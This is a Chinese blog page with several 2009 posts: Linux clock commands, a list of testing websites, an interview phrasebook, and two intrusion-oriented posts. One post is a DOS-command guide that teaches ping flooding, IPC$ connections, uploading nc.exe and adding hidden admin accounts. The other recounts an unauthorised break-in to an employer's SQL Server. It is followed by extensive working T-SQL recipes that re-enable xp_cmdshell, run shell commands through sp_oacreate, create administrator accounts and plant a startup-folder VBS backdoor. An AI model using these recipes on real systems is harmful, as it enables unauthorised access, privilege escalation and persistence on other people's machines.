自己喜欢挑的担子不嫌累。

发布新日志

  • linux 时钟命令

    春华秋实 发布于 2009-06-08 17:24:55

     

    系统时钟和硬件时钟

    Linux时钟分为系统时钟(System Clock)和硬件(Real Time Clock,简称RTC)时钟。系统时钟是指当前Linux Kernel中的时钟,而硬件时钟则是主板上由电池供电的时钟,这个硬件时钟可以在BIOS中进行设置。当Linux启动时,硬件时钟会去读取系统时钟的设置,然后系统时钟就会独立于硬件运作。

         Linux中的所有命令(包括函数)都是采用的系统时钟设置。在Linux中,用于时钟查看和设置的命令主要有datehwclockclock。其中,clockhwclock用法相近,只用一个就行,只不过clock命令除了支持x86硬件体系外,还支持Alpha硬件体系。

    1-1  date

    date

    查看系统时间

    # date

    设置系统时间

    # date --set [U2] “07/07/06 10:19" (月//年时::秒)

    1-2  hwclock

    hwclock/clock

    查看硬件时间

    # hwclock --show  或者# clock --show

    设置硬件时间

    # hwclock --set --date="07/07/06 10:19" (月//年 时::秒)

    或者# clock --set --date="07/07/06 10:19" (月//年 时::秒)

    1-3 硬件时间和系统时间的同步

    按照前面的说法,重新启动系统,硬件时间会读取系统时间,实现同步,但是在不重新启动的时候,需要用hwclockclock命令实现同步。

    硬件时钟与系统时钟同步:# hwclock --hctosyshc代表硬件时间,sys代表系统时间)或者# clock --hctosys

    系统时钟和硬件时钟同步:# hwclock --systohc或者# clock --systohc

    1-4 时区的设置

    命令: # tzselect

    ——输入5,亚洲——输入9,中国——输入1,北京时间——输入1,确认

    如果不用tzselect命令,可以修改文件变更时区。

    # vi /etc/sysconfig/clock ZONE=Asia/Shanghai(查/usr/share/zoneinfo下面的文件) UTC=false ARC=false

    # rm /etc/localtime

    # ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime

    重新启动即可。

     

  • 网管必须掌握的八个DOS命令

    春华秋实 发布于 2009-06-08 17:06:46

    一,ping   

      它是用来检查网络是否通畅或者网络连接速度的命令。作为一个生活在网络上的管理员或者黑客来说,ping命令是第一个必须掌握的DOS命令,它所利用的原理是这样的:网络上的机器都有唯一确定的IP地址,我们给目标IP地址发送一个数据包,对方就要返回一个同样大小的数据包,根据返回的数据包我们可以确定目标主机的存在,可以初步判断目标主机的操作系统等。下面就来看看它的一些常用的操作。先看看帮助吧,在DOS窗口中键入:ping /? 回车,。所示的帮助画面。在此,我们只掌握一些基本的很有用的参数就可以了(下同)。   

      -t 表示将不间断向目标IP发送数据包,直到我们强迫其停止。试想,如果你使用100M的宽带接入,而目标IP是56K的小猫,那么要不了多久,目标IP就因为承受不了这么多的数据而掉线,呵呵,一次攻击就这么简单的实现了。   

      -l 定义发送数据包的大小,默认为32字节,我们利用它可以最大定义到65500字节。结合上面介绍的-t参数一起使用,会有更好的效果哦。   

      -n 定义向目标IP发送数据包的次数,默认为3次。如果网络速度比较慢,3次对我们来说也浪费了不少时间,因为现在我们的目的仅仅是判断目标IP是否存在,那么就定义为一次吧。   

      说明一下,如果-t 参数和 -n参数一起使用,ping命令就以放在后面的参数为标准,比如“ping IP -t -n 3”,虽然使用了-t参数,但并不是一直ping下去,而是只ping 3次。另外,ping命令不一定非得ping IP,也可以直接ping主机域名,这样就可以得到主机的IP。   

      下面我们举个例子来说明一下具体用法。   

      这里time=2表示从发出数据包到接受到返回数据包所用的时间是2秒,从这里可以判断网络连接速度的大小 。从TTL的返回值可以初步判断被ping主机的操作系统,之所以说“初步判断”是因为这个值是可以修改的。这里TTL=32表示操作系统可能是win98。

      (小知识:如果TTL=128,则表示目标主机可能是Win2000;如果TTL=250,则目标主机可能是Unix)

      至于利用ping命令可以快速查找局域网故障,可以快速搜索最快的QQ服务器,可以对别人进行ping攻击……这些就靠大家自己发挥了。   

      二,nbtstat   

      该命令使用TCP/IP上的NetBIOS显示协议统计和当前TCP/IP连接,使用这个命令你可以得到远程主机的NETBIOS信息,比如用户名、所属的工作组、网卡的MAC地址等。在此我们就有必要了解几个基本的参数。   

      -a 使用这个参数,只要你知道了远程主机的机器名称,就可以得到它的NETBIOS信息(下同)。   

      -A 这个参数也可以得到远程主机的NETBIOS信息,但需要你知道它的IP。

      -n 列出本地机器的NETBIOS信息。   

      当得到了对方的IP或者机器名的时候,就可以使用nbtstat命令来进一步得到对方的信息了,这又增加了我们入侵的保险系数。   

      三,netstat

      这是一个用来查看网络状态的命令,操作简便功能强大。   

      -a 查看本地机器的所有开放端口,可以有效发现和预防木马,可以知道机器所开的服务等信息,如图4。   

      这里可以看出本地机器开放有FTP服务、Telnet服务、邮件服务、WEB服务等。用法:netstat -a IP。

      -r 列出当前的路由信息,告诉我们本地机器的网关、子网掩码等信息。用法:netstat -r IP。

    四,tracert

      跟踪路由信息,使用此命令可以查出数据从本地机器传输到目标主机所经过的所有途径,这对我们了解网络布局和结构很有帮助。如图5。   

      这里说明数据从本地机器传输到192.168.0.1的机器上,中间没有经过任何中转,说明这两台机器是在同一段局域网内。用法:tracert IP。   

      五,net   

      这个命令是网络命令中最重要的一个,必须透彻掌握它的每一个子命令的用法,因为它的功能实在是太强大了,这简直就是微软为我们提供的最好的入侵工具。首先让我们来看一看它都有那些子命令,键入net /?回车如图6。

      在这里,我们重点掌握几个入侵常用的子命令。   

      net view   

      使用此命令查看远程主机的所以共享资源。命令格式为net view IP。  

      net use

      把远程主机的某个共享资源影射为本地盘符,图形界面方便使用,呵呵。命令格式为net use x: IPsharename。上面一个表示把192.168.0.5IP的共享名为magic的目录影射为本地的Z盘。下面表示和192.168.0.7建立IPC$连接(net use IPIPC$ "password" /user:"name"),   

      建立了IPC$连接后,呵呵,就可以上传文件了:copy nc.exe 192.168.0.7admin$,表示把本地目录下的nc.exe传到远程主机,结合后面要介绍到的其他DOS命令就可以实现入侵了。   

      net start

      使用它来启动远程主机上的服务。当你和远程主机建立连接后,如果发现它的什么服务没有启动,而你又想利用此服务怎么办?就使用这个命令来启动吧。用法:net start servername,如图9,成功启动了telnet服务。   

      net stop

      入侵后发现远程主机的某个服务碍手碍脚,怎么办?利用这个命令停掉就ok了,用法和net start同。   

      net user

      查看和帐户有关的情况,包括新建帐户、删除帐户、查看特定帐户、激活帐户、帐户禁用等。这对我们入侵是很有利的,最重要的,它为我们克隆帐户提供了前提。键入不带参数的net user,可以查看所有用户,包括已经禁用的。下面分别讲解。

      1,net user abcd 1234 /add,新建一个用户名为abcd,密码为1234的帐户,默认为user组成员。

      2,net user abcd /del,将用户名为abcd的用户删除。

      3,net user abcd /active:no,将用户名为abcd的用户禁用。

      4,net user abcd /active:yes,激活用户名为abcd的用户。

      5,net user abcd,查看用户名为abcd的用户的情况  

      net localgroup

      查看所有和用户组有关的信息和进行相关操作。键入不带参数的net localgroup即列出当前所有的用户组。在入侵过程中,我们一般利用它来把某个帐户提升为administrator组帐户,这样我们利用这个帐户就可以控制整个远程主机了。用法:net localgroup groupname username /add。   

    现在我们把刚才新建的用户abcd加到administrator组里去了,这时候abcd用户已经是超级管理员了,呵呵,你可以再使用net user abcd来查看他的状态,和图10进行比较就可以看出来。但这样太明显了,网管一看用户情况就能漏出破绽,所以这种方法只能对付菜鸟网管,但我们还得知道。现在的手段都是利用其他工具和手段克隆一个让网管看不出来的超级管理员,这是后话。有兴趣的朋友可以参照《黑客防线》第30期上的《由浅入深解析隆帐户》一文。   

      net time

      这个命令可以查看远程主机当前的时间。如果你的目标只是进入到远程主机里面,那么也许就用不到这个命令了。但简单的入侵成功了,难道只是看看吗?我们需要进一步渗透。这就连远程主机当前的时间都需要知道,因为利用时间和其他手段(后面会讲到)可以实现某个命令和程序的定时启动,为我们进一步入侵打好基础。用法:net time IP。   

      六,at   

      这个命令的作用是安排在特定日期或时间执行某个特定的命令和程序(知道net time的重要了吧?)。当我们知道了远程主机的当前时间,就可以利用此命令让其在以后的某个时间(比如2分钟后)执行某个程序和命令。用法:at time command computer。   

      表示在6点55分时,让名称为a-01的计算机开启telnet服务(这里net start telnet即为开启telnet服务的命令)。   

    七,ftp   

      大家对这个命令应该比较熟悉了吧?网络上开放的ftp的主机很多,其中很大一部分是匿名的,也就是说任何人都可以登陆上去。现在如果你扫到了一台开放ftp服务的主机(一般都是开了21端口的机器),如果你还不会使用ftp的命令怎么办?下面就给出基本的ftp命令使用方法。

      首先在命令行键入ftp回车,出现ftp的提示符,这时候可以键入“help”来查看帮助(任何DOS命令都可以使用此方法查看其帮助)。   

      大家可能看到了,这么多命令该怎么用?其实也用不到那么多,掌握几个基本的就够了。   

      首先是登陆过程,这就要用到open了,直接在ftp的提示符下输入“open 主机IP ftp端口”回车即可,一般端口默认都是21,可以不写。接着就是输入合法的用户名和密码进行登陆了,这里以匿名ftp为例介绍。   

      用户名和密码都是ftp,密码是不显示的。当提示**** logged in时,就说明登陆成功。这里因为是匿名登陆,所以用户显示为Anonymous。   

      接下来就要介绍具体命令的使用方法了。   

      dir 跟DOS命令一样,用于查看服务器的文件,直接敲上dir回车,就可以看到此ftp服务器上的文件。

      cd 进入某个文件夹。

      get 下载文件到本地机器。

      put 上传文件到远程服务器。这就要看远程ftp服务器是否给了你可写的权限了,如果可以,呵呵,该怎么 利用就不多说了,大家就自由发挥去吧。

      delete 删除远程ftp服务器上的文件。这也必须保证你有可写的权限。

      bye 退出当前连接。

      quit 同上。

      

      八,telnet

      功能强大的远程登陆命令,几乎所有的入侵者都喜欢用它,屡试不爽。为什么?它操作简单,如同使用自己的机器一样,只要你熟悉DOS命令,在成功以administrator身份连接了远程机器后,就可以用它来干你想干的一切了。下面介绍一下使用方法,首先键入telnet回车,再键入help查看其帮助信息。   

      然后在提示符下键入open IP回车,这时就出现了登陆窗口,让你输入合法的用户名和密码,这里输入任何密码都是不显示的。   

      当输入用户名和密码都正确后就成功建立了telnet连接,这时候你就在远程主机上具有了和此用户一样的权限,利用DOS命令就可以实现你想干的事情了。这里我使用的超级管理员权限登陆的。  

      到这里为止,网络DOS命令的介绍就告一段落了,这里介绍的目的只是给菜鸟网管一个印象,让其知道熟悉和掌握网络DOS命令的重要性。其实和网络有关的DOS命令还远不止这些,这里只是抛砖引玉,希望能对广大菜鸟网管有所帮助。学好DOS对当好网管有很大的帮助,特别的熟练掌握了一些网络的DOS命令。

      另外大家应该清楚,任何人要想进入系统,必须得有一个合法的用户名和密码(输入法漏洞差不多绝迹了吧),哪怕你拿到帐户的只有一个很小的权限,你也可以利用它来达到最后的目的。所以坚决消灭空口令,给自己的帐户加上一个强壮的密码,是最好的防御弱口令入侵的方法。

      最后,由衷的说一句,培养良好的安全意识才是最重要的

  • 自动化测试的一些好的网站

    Spark.lee 发布于 2009-06-03 16:10:27

    类别
    名称
    网址
    国内综合性测试网站 无忧测试 http://www.51testing.com/
    测试时代 http://www.testage.net/
    中国软件测试在线 http://www.softtest.cn/
    北大测试主站 http://www.btesting.com
    一起测试网 http://www.17testing.com/
    中国软件测试联盟 http://www.iceshi.com
    3A测试网 http://www.3atesting.com/
    测试总裁网 http://www.testceo.com
    广东软件测试行业联盟 http://www.gztest.com/
    上海测仕信息技术 http://www.cntesting.com/
    中国软件测试人才网 http://www.rjzl.gov.cn/
    国内自动化测试网站 Ricky Zhu http://www.rickyzhu.com/
    ezTester,针对C/C++工程,拉通白盒测试与自动化测试的工具站点 http://www.ezTester.com/
    蓝天城 http://www.testguild.cn/
    国外自动化测试网站 开源项目Software Automation Framework Support(SAFS)站点,有一些数据驱动、关键字驱动自动化测试技术资料介绍 http://safsdev.sourceforge.net/
    起源于IBM的自动化测试框架STAF的开源项目主页 http://staf.sourceforge.net/
    这便是知名的“Software QA and Testing Resource Center”,提供众多资源入口 http://www.softwareqatest.com/
    性能测试工具LoadRunner的一个论坛 http://groups.yahoo.com/group/LoadRunner
    关于网站自动测试、性能测试、安全性测试 http://bdonline.sqe.com/
    软件测试资源库,涉及GUI测试、性能测试、静态分析、覆盖率、用例管理等 http://www.testingfaqs.org/
    一个有关WinRunner TSL编程的个人技术站点 http://www.wilsonmar.com/1winrun2.htm
    Bret Pettichord的主页,收集不少测试自动化方面的资源

    http://www.io.com/~wazmo/

    约克大学的测试专业兴趣研究组网页,有比较丰富的资料下载,内容涵盖了测试的多个方面,包括测试自动化、测试数据生成、面向对象软件测试、验证确认过程等 http://www.cs.york.ac.uk/testsig/
    一家老牌软件测试咨询公司的网站,有一些测试方面的课程和资料供下载 软件测试专业网站:51Testing软件测试网'@&g*N9dy(o http://www.grove.co.uk/
    卡耐基梅陇大学网上图书馆,在这里你可以获得有关计算机方面各类论文资料,内容极其庞大,是研究软件测试不可多得的资料来源之一 http://www.library.cmu.edu/Research/Engineering-AndSciences/CS+ECE/index.html
    包含一些流行测试工具的介绍、下载和讨论,还提供测试方面的资料 http://www.betasoft.com/
    一个自动化软件测试和自然语言处理研究页面,属于个人网页,上面有些资源可供下载 http://www.automated-testing.com/
    一个软件质量工程服务性网站,组织软件测试自动化、STAR-EASE、STARWEST等方面的测试学术会议,并提供一些相关信息资料和课程服务 http://www.sqe.com/
    GCT开源工具的作者Brian Marick的网站,包含了Marick 研究的一些资料和论文,该网页提供了测试模式方面的资料,值得研究 http://www.testing.com/
    Kerry Zallar的个人主页,有一些自动测试与质量保证方面的资料供下载 http://www.testingstuff.com/
    包含James Bach关于软件测试和过程方面的很多论文,尤其在启发式测试策略方面值得参考 http://www.satisfice.com/
  • 记一次无意的侵入测试

    bichenlu 发布于 2009-06-09 11:38:09

    前年在一个图书管理软件的公司做测试,由于公司的软件相对于比较成熟,所以主要做的就是功能测试、安装卸载测试、兼容性测试与性能测试,对软件安全这块测试的比较少。
    有一天,心血来潮,想着这个软件是否真的这样不可攻克呢?从来不做安全性测试,然后打定主意测试一次。
    公司的软件是C/S的系统,连接的是sqlserver数据库。sqlserver数据库有漏洞这个是早有耳闻,所以就从sqlserver开始下手。
    首先使用X-Scan-v3.3-cn扫描了一下这个局域网(公司系统管理员警觉不够啊,我扫描了一个小时他都没有发现),发现有几台电脑都是用户名为Administrator密码为空,不过这不是我的目标,暂时可以忽略。同时看到了目标主机的一些信息,80端口被关闭了,那么可能是没有连接外网,然后有一个135  445 等一些端口,这个也没有使用到,最重要的一个信息看到了,sqlserver连接用户名为原来公司拼音简写,密码显示为弱口令,这下有信心了,然后使用了一个简单的暴力破解软件,破解了密码。
    哎,这么快就破解了这个数据库,也是我没有想到的,我以前一直以为这个系统真的是做的牢不可破呢!
    既然进来了,没事就继续逛逛吧,记得sqlserver还有一个很危险的存储过程xp_cmdshell,不知开发人员有没有处理,写了个 EXEC sp_addextendedproc xp_cmdshell 'net user',竟然执行成功,显示了目标主机的所有用户,哎,现在我彻底无语了。然后我就直接使用XP_cmdshell这个存储过程创建了一个相当与Administrator权限的用户,而且在这台主机上安装了DameWare,呵呵然后带着这个漏洞想项目经理领赏去了。

    附:xp_cmdshell的一些简单使用(其他网友经验)

    开启cmdshell的SQL语句

    EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

    判断存储扩展是否存在
    Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
    返回结果为1就OK

    恢复xp_cmdshell
    Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
    返回结果为1就OK

    否则上传xplog7.0.dll
    Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'

    扫到SQL弱口令后利用SQLTOOLS出现未能找到存储过程 'master..xp_cmdshell'
    这种情况的主要原因是删除了扩展存储过过程xp_cmdshell,有一个恢复的办法,如果不成功说明被改名了

    使用SQLTOOLS连接,连接后在利用目录下点执行数据库命令,执行:
    EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
    运气好的话就成功了,如果你想让你的肉鸡用SQL执行不了DOS命令的话,执行:
    sp_dropextendedproc "xp_cmdshell"
    就执行不了DOS命令了,当然用上面的语句可以复原。

    用SQLTOOLS可以连接成功,执行DOS命令,却总是显示这个、、、拒绝了对对象 'xp_cmdshell'(数据库 'master',所有者 'dbo')的 EXECUTE 权限。
    怎么解决????
    上传文件也不行。。。
    1 未能找到存储过程'master..xpcmdshell'。

    恢复方法:查询分离器连接后,

    第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
    第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
    然后按F5键命令执行完毕。

    2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一DLL。原因126(找不到指定模块。)

    恢复方法:查询分离器连接后,

    第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
    第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
    然后按F5键命令执行完毕。

    3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)

    恢复方法:查询分离器连接后,
    第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
    第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
    然后按F5键命令执行完毕。

    四.终极方法:

    如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:

    查询分离器连接后,

    2000servser系统:

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output
    exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
    @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'

    xp或2003server系统:

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
    @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
    @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'

    还不行就没办法了

    方法1:查询分离器连接后执行:
    if exists (select * from
    dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
    OBJECTPROPERTY(id, N'IsExtendedProc') = 1)

    exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

    GO

    然后按F5键命令执行完毕

    方法2:查询分离器连接后
    第一步执行:use master
    第二步执行:sp_dropextendedproc 'xp_cmdshell' 然后按F5键命令执行完毕


    1 未能找到存储过程'master..xpcmdshell'. 恢复方法:查询分离器连接后,
    第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
    第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 然后按F5键命令执行完毕

    2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
    恢复方法:查询分离器连接后,
    第一步执行:sp_dropextendedproc "xp_cmdshell"
    第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'然后按F5键命令执行完毕

    3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
    恢复方法:查询分离器连接后,
    第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
    第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
    然后按F5键命令执行完毕

    四.终极方法.如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
    1,查询分离器连接后,
    2000servser系统:
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user yszar andylau /add'

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators yszar /add'

    xp或2003server系统:

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名 密码 /add'

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 用户名 /add'

    或者可以

    declare @o int
    exec sp_oacreate 'wscript.shell', @o out
    exec sp_oamethod @o, 'run', NULL, 'XXXXX' \\XXXXX为你要执行的命令


    有时候用查询分离器连接执行以上语句的时候会出现找不到存储过程 sp_addextendedproc

    解决方法:

    create procedure sp_addextendedproc --- 1996/08/30 20:13
    @functname nvarchar(517),/* (owner.)name of function to call */
    @dllname varchar(255)/* name of DLL containing function */
    as
    set implicit_transactions off
    if @@trancount > 0
    begin
    raiserror(15002,-1,-1,'sp_addextendedproc')
    return (1)
    end
    dbcc addextendedproc( @functname, @dllname)
    return (0) -- sp_addextendedproc
    GO
    这段代码贴入查询分离器,执行


    1.突破xplog70.dll

    declare @cmd INT
    exec sp_oacreate 'wscript.shell',@cmd output
    exec sp_oamethod @cmd,'run',null,'net user 用户名 密码 /add','0','true'
    declare @cmd INT
    exec sp_oacreate 'wscript.shell',@cmd output
    exec sp_oamethod @cmd,'run',null,'net localgroup administrators 用户名 /add','0','true'

    2.恢复xp_cmdshell
    先尝试恢复xp_cmdshell,sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll',
    结果发现xpsql70.dll被删除。

    然后写vbs文件到启动组里面:
    declare @o int, @f int, @t int, @ret int ,@a int
    exec sp_oacreate 'scripting.filesystemobject', @o out
    exec sp_oamethod @o, 'createtextfile', @f out,
    'c:\\docume~1\\alluse~1\\「开始」菜单\\程序\\启动\\a.vbs', 1
    exec @ret = sp_oamethod @f, 'writeline', NULL,
    'set wshshell=createobject("wscript.shell")'
    exec @ret = sp_oamethod @f, 'writeline', NULL,
    'a=wshshell.run ("cmd.exe /c net user lintao lintao520 /add",0)'
    exec @ret = sp_oamethod @f, 'writeline', NULL,
    'b=wshshell.run ("cmd.exe /c net localgroup administrators lintao /add",0)'

    3.去除SA的xp_cmdshell权限
    如果你不需要扩展存储过程xp_cmdshell请把它去掉。使用这个SQL语句:
    use master
    sp_dropextendedproc 'xp_cmdshell'
    xp_cmdshell是进入操作系统的最佳捷径,是数据库留给操作系统的一个大后门。如果你需要这个存储过程,请用这个语句也可以恢复过来。
    sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

    4.上传xplog7.0.dll:

    exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'

     

  • 突破面试口语

    月上百合 发布于 2009-06-04 13:55:36

    (1):你能在两分钟內自我推荐吗?

    找一份满意的工作吗? 面试中面对外国老板连珠炮似的提问, 有没有觉得心慌意乱、无所适从?求职过程中面试尤为重要,回答问题,如果能简明扼要,真诚中肯,合乎老 外口味,那么录取机会必定大大增加。当然,有的问题,也要轻描淡写,以免言多必失。本篇摘录了若干面试中出现频率较高的问题及精彩回答,希望能在您求职路上助您一臂之力。
    Q: Can you sell yourself in two minutes? Go for it. (你能在两分钟內自我推荐吗?大胆试试吧!) 
    A: With my qualifications and experience, I feel I am hardworking, responsible and diligent in any project I undertake. Your organization could benefit from my analytical and interpersonal skills.
    (依我的资格和经验,我觉 得我对所从事的每一个项目都很努力、负责、勤勉。我的分析能力和与人相处的技巧,对贵单位必有价值。) 

    (2):对目前工作能概括说明 
    Q:Give me a summary of your current job des cription. (对你目前的工作,能否做个概括的说明。) 
    A:I have been working as a computer programmer for five years. To be specific, I do system analysis, trouble shooting and provide software support. 
    (我干了五年的电脑程序员。具体地说,我做系统分析,解决问题以及软件供应方面的支持。) 

    (3):为什么离职呢?

    Q:Why did you leave your last job?(你为什么离职呢?) 
    A: Well, I am hoping to get an offer of a better position. If opportunity knocks, I will take it.(我希望能获得一份更好的工作,如果机会来临,我会抓 住。) 
    A:I feel I have reached the "glass ceiling" in my current job. / I feel there is no opportunity for advancement. (我觉得目前的工作,已经达到顶峰,即沒有升迁机会。) 

    (4):如何评估自己? 
    Q:How do you rate yourself as a professional?(你如何评估自己是位专业人员呢?) 
    A:With my strong academic background, I am capable and competent. (凭借我 良好的学术背景,我可以胜任自己的工作,而且我认为自己很有竞争力。) 
    A:With my teaching experience, I am confident that I can relate to students very well. (依我的教学经验,我相信能与学生相处的很好。) 
    (5):价值及贡献

    Q:What contribution did you make to your current (previous) organization? (你对目前/从前的工作单位有何贡献?) 
    A: I have finished three new projects, and I am sure I can apply my experience to this position. (我已经完成三个新项目,我相信我能将我的经验用在 这份工作上。) 
    Q:What do you think you are worth to us?(你怎么认为你对我们有价值呢?) 
    A:I feel I can make some positive contributions to your company in the future. (我觉得我对贵公司能做些积极性的贡献。) 

    (6):胜任这份工作

    Q:What make you think you would be a success in this position? (你如何知道你能胜任这份工作?) 
    A:My graduate school training combined with my internship should qualify me for this particular job. I am sure I will be successful.(我在研究所的训练,加上实习工作,使我适合这份工作。我相信我能成功。) 
    (7):关于工作压力 
    Q:Are you a multi-tasked individual?(你是一位可以同时承担数项工作的人吗?) or Do you work well under stress or pressure?(你能承受工作上的压力吗?) 
    A:Yes, I think so. 
    A:The trait is needed in my current(or previous) position and I know I can handle it well. (这种特点就是我目前(先前)工作所需要的,我知道我能应付自如。) 

    (8):个性特点

    Q:What is your strongest trait(s)?(你个性上最大的特点是什么?) 
    A:Helpfulness and caring.(乐于助人和关心他人。) 
    A:Adaptability and sense of humor.(适应能力和幽默感。) 
    A:Cheerfulness and friendliness.(乐观和友爱。) 

    (9):别人如何形容你
    Q: How would your friends or colleagues describe you?(你的朋友或同事怎样形容你?) 
    A: (pause a few seconds) (稍等几秒钟再答,表示慎重考虑。) They say Mr. Chen is an honest, hardworking and responsible man who deeply cares for his family and friends. (他们说陈先生是位诚实、工作努力,负责任的人,他对家庭和朋友都很关心。) 
    A:They say Mr. Chen is a friendly, sensitive, caring and determined person. (他们说陈先生是位很友好、敏感、关心他人和有决心的人。) 

    (10):你欣赏哪种性格的人? 
    Q:What personality traits do you admire?(你欣赏哪种性格的人?) 
    A: (I admire a person who is)honest, flexible and easy-going. (诚实、不死板而且容易相处的人。) 
    A: (I like) people who possess the "can do" spirit. (有"实际行动"的人。) 
    (11):关于领导才能
    Q:What leadership qualities did you develop as an administrative personnel?(作为行政人员,你有什么样的领导才能?) 
    A:I feel that learning how to motivate people and to work together as a team will be the major goal of my leadership. (我觉得学习如何把人们的积极性调动起来,以及如何配合协同的团队精神,是我行政工作的主要目标。) 
    A:I have refined my management style. by using an open-door policy. (我以开放式的政策,改进我的行政管理方式。) 

    (12):如何处理別人的批评?
    Q:How do you normally handle criticism?(你通常如何处理別人的批评?) 
    A:Silence is golden. Just don't say anything; otherwise the situation could become worse. I do, however, accept constructive criticism. (沈默是金。不必说什么,否则情况更糟,不过我会接受建设性的批评。) 
    A:When we cool off, we will discuss it later. (我会等大家冷靜下来再讨论。) 

    (14):如何处理与同事在工作中的意见不和 
    Q:How do you handle your conflict with your colleagues in your work? 
    (你如何处理与同事在工作中的意见不和?) 
    A:I will try to present my ideas in a more clear and civilized manner in order to get my points across. (我要以更清楚文明的方式,提出我的看法,使对方了解我的观点。) 

    (15):怎样对待自己的失败
    Q:How do you handle your failure?(你怎样对待自己的失敗?) 
    A: None of us was born "perfect". I am sure I will be given a second chance to correct my mistake. (我们大家生来都不是十全十美的,我相信我有第二个机会改正我的错误。)
    (16):为什么你能做得特别出色? 
    问:为什么在这个行业里你能做得特别出色?
    答:我是一个做酥皮点心的师傅,所以我对甜点比较了解并能帮助开发新产品。新的防腐剂终于能够除掉生面团上面的不同条纹了,这意味着我们能比以前投资更多的产品了。
    表明因你的天性好奇、热爱读书等原因,你是如何跟踪新产品的。你有没有足够的兴趣进行额外的研究并把适当的精力运用到你的工作上?给予具体的回答。
    Q:Why would you be particularly good at this business?
    A:I was a pastry chef,so I understand dessert products well and can help you with new product development.Recent preservatives have come a long way toward eliminating texture difference in pastry dough.This means we can investigate many more products than before

    17):如何关注当前时势的?

    问:你是如何关注当前时势的?
    答:我仔细研读《华尔街日报》、《时代周刊》、《慈善机构投资者》和几家共同基金时事通讯。我还有一大群分析家朋友。
    通过描绘一些符合你目标的出版物或贸易团体来证明你对该企业或职业领域的兴趣。Q:How do you stay current? 
    A:I pore over the Wall Street Journal,the Times,Institutional Investor,and several mutual fund newsletters. And Ihave a number of friends who are analysts.
    (18):行业兴趣 
    问:为什么你认为你对该行业会保持长久的兴趣?
    答:撇开晋升的机会不说,该行业的技术变化得如此快,所以这里有广阔的就业机会。我尤其对多方面应用多媒体作为培训手段感兴趣。
    你对该行业的发展前景有什么期望或设想?它使你不需晋升就可以获得发展吗?这家企业里什么使你最受鼓舞?你可以提供什么证据来证明你的兴趣来源于你极度的好奇——可能回到几年前的时间去找这个证据——而不是目前这些你可能放弃的一时兴致?Q:Why do you think this industry would sustain yourinterest over the long haul?
    A:The technology in the industry is changing so rapidly that Isee lots of room for job enhancement regardless of promotions. I am particularly interested in the many applications for multimedia as a training tool. 

    (19):5年之内你想处于什么位置
    问:5年之内你想处于什么位置?

    答:我希望有机会在工厂或国内办事处工作。我也希望通过管理一个小团体发展我的管理技能。 

    不要给出具体的时限或工作头衔。谈你喜欢的东西,你天生的技能,实际的问题和在你所选的领域或行业里你希望有什么机会,你希望从那些经验中学点什么。不要谈论你在那些与你所应聘的工作无关的领域或行业里的目标。这是听起来很明显的道理,但是很多求职者会犯这个错误。不经意间你就表现出了对当前的领域或行业缺乏真正的兴趣。不用说,一失言马上就会把你从进一步的考虑中淘汰掉。

    Q: Where do you want to be in five years?

    A: I'd like to have the opportunity to work in a plant as well as at the home office.I also hope to develop my management skills,perhaps by managing a small staff.
    问:5年之内你想处于什么位置?
    答:我希望有机会在工厂或国内办事处工作。我也希望通过管理一个小团体发展我的管理技能。 
